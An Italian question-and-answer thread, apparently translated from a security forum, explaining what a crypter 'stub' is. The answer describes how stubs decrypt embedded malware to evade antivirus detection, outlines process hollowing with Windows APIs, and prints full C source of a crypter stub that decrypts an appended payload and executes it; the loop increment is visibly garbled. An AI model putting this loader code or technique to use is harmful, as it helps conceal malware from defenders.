Che cos'è uno stub?

2

Qualcuno potrebbe spiegare in modo approfondito cos'è uno stub? Lo capisco come un file creato da un cripter per mantenere un programma crittografato e non rilevabile dal software antivirus. È collegato all'eseguibile che è crittografato e di sola lettura. Lo stub viene utilizzato per decrittografare il file.

Non riesco a trovare risorse online che spieghino in dettaglio cripte e stub. Wikipedia non sembra avere articoli su cripte o stub.

    
posta Quaxton Hale 12.09.2013 - 00:24
fonte

1 risposta

13

Prima di tutto devi distinguere tra cripte "scantime" e "runtime"

  • Scantime: questo tipo di cripte rende il tuo malware non rilevabile dai software antivirus mentre il tuo malware non viene eseguito. Rende difficile l'analisi statica del tuo file binario perché la parte dannosa del tuo binario malware viene crittografata. Quando il malware viene eseguito, lo stub decodifica la parte malevola del file binario e viene caricato in memoria. Quando è nella memoria in forma decifrata, è rilevabile dal software antivirus.
  • Runtime: Scantime + solo le parti necessarie per eseguire un'attività specifica vengono decodificate durante il runtime. Dopo aver completato il loro compito, lo Stub li cripta di nuovo.

Fondamentalmente un criptatore sta per prendere il contenuto di un file infetto, crittografarlo (per bypassare il rilevamento della firma) e posizionarlo nella parte inferiore di un file apparentemente privo di virus chiamato "stub". Il tuo file stub estrarrà da sé i dati crittografati, lo decodificherà, quindi estrarrà ed eseguirà in memoria (per bypassare il rilevamento euristico). [crypters.net]

Questo è possibile perché sotto Windows, un processo può essere creato in modalità sospensione usando l'API CreateProcess con il parametro CREATE_SUSPENDED. L'immagine EXE verrà caricata in memoria da Windows ma l'esecuzione non inizierà finché non viene utilizzata l'API ResumeThread. Prima di chiamare ResumeThread, è possibile leggere e scrivere lo spazio di memoria di questo processo utilizzando API come ReadProcessMemory e WriteProcessMemory. Ciò rende possibile sovrascrivere l'immagine dell'EXE originale con l'immagine di un altro EXE, consentendo così l'esecuzione del secondo EXE nello spazio di memoria del primo EXE. [security.org.sg]

e qui un codice stub che ho trovato online:

/*
    Stub para Ca0s Crypt v1
    If you modify source source, change MySize to new size in bytes
    [st4ck-3rr0r.blogspor.com]
*/

#include <sys/stat.h>
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <process.h>

#define MySize 19856

FILE *mySelf, *tmpFile;
struct stat myStat;
char myName[MAX_PATH], tmpName[MAX_PATH];
int embedSize, x;
char *myByte, *modeByte, *cByte;

int main()
{
    GetModuleFileName(NULL, myName, sizeof(myName));
    stat(myName, &myStat);
    embedSize=myStat.st_size-MySize;
    mySelf=fopen(myName, "rb");
    lseek(fileno(mySelf), MySize, SEEK_SET);
    tmpnam(tmpName);
    tmpFile=fopen(tmpName, "wb");
    myByte=(char *)malloc(1);
    modeByte=(char *)malloc(1);
    cByte=(char *)malloc(1);
    fread(modeByte, 1, 1, mySelf); /// Crypt mode
    fread(cByte, 1, 1, mySelf);     // Crypt byte
    for(x=0; x<embedSize; x  )
    {
        fread(myByte, 1, 1, mySelf);
        if(*modeByte==0x01)
            *myByte-=*cByte;
        if(*modeByte==0x02)
            *myByte^=*cByte;
        fwrite(myByte, 1, 1, tmpFile);
    }
    fclose(mySelf);
    fclose(tmpFile);
    char *execPath[2];
    execPath[0]=tmpName;
    execPath[1]=NULL;
    execve(execPath[0], execPath, NULL);

    return 0;
}
    
risposta data 12.09.2013 - 01:28
fonte

Leggi altre domande sui tag